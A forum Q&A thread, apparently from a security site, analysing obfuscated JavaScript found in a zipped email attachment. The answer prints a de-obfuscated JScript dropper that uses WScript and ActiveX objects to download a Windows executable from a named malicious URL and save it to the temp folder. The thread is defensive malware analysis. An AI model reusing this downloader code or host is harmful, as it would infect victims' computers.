1

I found the following javascript in a .zip attachment to an email. (Said zip file was opened on a new KVM virtual machine with none of my data on it while running an Ubuntu LiveCD session. Just to be as safe as I reasonable can).

http://paste.ubuntu.com/16040453

Can someone give me an idea of what is trying to be pulled off here?

(I wrote the author of the email back and asked for a copy of his attachment NOT in a zip, since "lots of viruses are spread by corrupted zip files attached to email, so we won't open them". We'll see what happens.)

Improve this question
2
  • A side note, from my understanding a significant number of modern malwares are VM aware. So running on a VM is not a guarantee to protecting your system from damage. Correct me if I'm wrong.
    – Douglas Gaskell
    Apr 25 '16 at 1:34
  • 3
    That's the same kind of files as in How does this javascript attack work?. JS inside ZIP inside mail is a typical way to to spread current ransomware.
    – Steffen Ullrich
    Apr 25 '16 at 4:41
3

As a first step, run the code through a JS beautifier to the code to do some of the escaping.

Note, you'll see several patterns like:

Fake["hostkey" ["replace"](/hostkey/, "write")]

which inside the brackets is equivalent to "hostkey".replace(/hostkey/, "write") which evaluates to just "write" or Fake.write. Also

The bulk of the activity seems to be in the script written by concatenating a bunch of variables together (line 124 of your file). Those commands once de-obfuscated a bit are:

var _ = 27570,
    Keyword = "serious";
var multi_resize = 0;
var update_results = "characters_excluding_spaces",
    looks = "search_errors",
    postSelector = "f347";
Dakar = "targetParent", _actual_db_id = "deactivate_plugin", populates = 2;
e032 = "v_path_info", These = "ExpandEnvironmen";
wp_ajax_send_link_to_editor = "x00FF";
places = "tStrings", retries = "menuControl";
list = "http://dermosihhat.abdu", AuthorURI = 1,
    propertychange = "llahaktay.com/image/";
fff8e5 = "flags/.../403.php?";
triplet = "already_has_default",
    sanitize_option_ = "f=404";

textTopHei$ght = function() {
    Keyword = update_results = looks = this;
    Dakar = Keyword["WScript"];
    _actual_db_id = Dakar["CreateObject"]("WScript.Shell");
};
textTopHei$ght();
e032 = _actual_db_id[These + places]("%TEMP%/") + "5w5xGKQ9WE.exe";
try {
    this = "Reformat";
} catch (flush) {
    retries = new update_results["ActiveXObject"]("Msxml2.XMLHTTP.6.0");
}
new_branch = function() {
    retries.open("GET", "http://dermosihhat.abdullahaktay.com/image/flags/.../403.php?f=404", +multi_resize);
    retries.send();
    Dakar.Sleep(1000);
};
new_branch();
slidEvent = function() {
    postSelector = new looks["ActiveXObject"]("ADODB.Stream"));
};
slidEvent();
postSelector.open();
postSelector.type = +AuthorURI;
wp_ajax_send_link_to_editor = postSelector;
wp_ajax_send_link_to_editor.write(retries["ResponseBody"]);
wp_ajax_send_link_to_editor.position = 0;
postSelector["saveToFile"](e032, +populates);
triplet = postSelector;
triplet["close"]();

It seems to be doing a lot of ActiveX stuff (that I am not familiar with) (WScript) as well as making a request to the following malicious URL ( http://dermosihhat.abdullahaktay.com/image/flags/.../403.php?f=404 ) which seems to be a windows/DOS binary. (It starts with the bytes MZ and has the text "This program cannot be run in DOS mode" near the start.).

So it seems to be using ActiveX to download this executable and trick you into running it, though I don't know what the executable does. (I'm not a windows user and am not sure of all the details of ActiveX.)

Improve this answer
1
  • On (most?) Windows configurations, .js is an executable file extension (!), and can run in a JScript (?) environment with some privileged API's (I believe .vbs scripts are the same, except with the awful VBS syntax). Other than that, I don't know much about the thing or even use Windows, but this script probably downloads and runs that file if run, and this is probably to get around anti-virus scanners in email.
    – Alexander O'Mara
    Apr 24 '16 at 23:58

Not the answer you're looking for? Browse other questions tagged or ask your own question.